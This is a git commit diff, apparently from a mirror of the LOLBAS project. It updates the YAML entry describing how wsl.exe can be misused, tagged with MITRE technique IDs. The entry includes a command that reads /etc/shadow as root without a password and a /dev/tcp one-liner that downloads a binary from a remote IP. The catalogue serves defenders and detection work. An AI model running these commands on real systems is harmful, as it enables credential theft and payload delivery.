public-mirrors/LOLBAS
1
0
Fork 0
mirror of https://github.com/LOLBAS-Project/LOLBAS synced 2024-10-22 16:49:11 +02:00
Code Issues Projects Releases Wiki Activity

Update wsl.exe description (#378)

Browse Source 
Co-authored-by: Wietze <wietze@users.noreply.github.com>
This commit is contained in:
unrooted 2024-06-07 00:42:25 +02:00 committed by GitHub
parent 35148cc39e
commit 03b527b105
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 8 additions and 14 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

22
yml/OtherMSBinaries/Wsl.yml
View File

@ -10,35 +10,28 @@ Commands:
Category: Execute Category: Execute
Privileges: User Privileges: User
MitreID: T1202 MitreID: T1202
OperatingSystem: Windows 10, Windows 19 Server OperatingSystem: Windows 10, Windows Server 2019, Windows 11
- Command: wsl.exe -u root -e cat /etc/shadow - Command: wsl.exe -u root -e cat /etc/shadow
Description: Cats /etc/shadow file as root Description: Cats /etc/shadow file as root
Usecase: Performs execution of arbitrary Linux commands as root without need for password. Usecase: Performs execution of arbitrary Linux commands as root without need for password.
Category: Execute Category: Execute
Privileges: User Privileges: User
MitreID: T1202 MitreID: T1202
OperatingSystem: Windows 10, Windows 19 Server OperatingSystem: Windows 10, Windows Server 2019, Windows 11
- Command: wsl.exe --exec bash -c 'cat file' - Command: wsl.exe --exec bash -c "<command>"
Description: Cats /etc/shadow file as root Description: Executes Linux command (for example via bash) as the default user (unless stated otherwise using `-u <username>`) on the default WSL distro (unless stated otherwise using `-d <distro name>`)
Usecase: Performs execution of arbitrary Linux commands. Usecase: Performs execution of arbitrary Linux commands.
Category: Execute Category: Execute
Privileges: User Privileges: User
MitreID: T1202 MitreID: T1202
OperatingSystem: Windows 10, Windows 19 Server OperatingSystem: Windows 10, Windows Server 2019, Windows 11
- Command: wsl.exe --system calc.exe
Description: Execute the command as root
Usecase: Performs execution of arbitrary Linux commands as root without need for password.
Category: Execute
Privileges: User
MitreID: T1202
OperatingSystem: Windows 11
- Command: wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary' - Command: wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'
Description: Downloads file from 192.168.1.10 Description: Downloads file from 192.168.1.10
Usecase: Download file Usecase: Download file
Category: Download Category: Download
Privileges: User Privileges: User
MitreID: T1202 MitreID: T1105
OperatingSystem: Windows 10, Windows 19 Server OperatingSystem: Windows 10, Windows Server 2019, Windows 11
Full_Path: Full_Path:
- Path: C:\Windows\System32\wsl.exe - Path: C:\Windows\System32\wsl.exe
Code_Sample: Code_Sample:
@ -59,3 +52,4 @@ Acknowledgement:
Handle: '@d1r4c' Handle: '@d1r4c'
- Person: Nasreddine Bencherchali - Person: Nasreddine Bencherchali
Handle: '@nas_bench' Handle: '@nas_bench'
- Person: Konrad 'unrooted' Klawikowski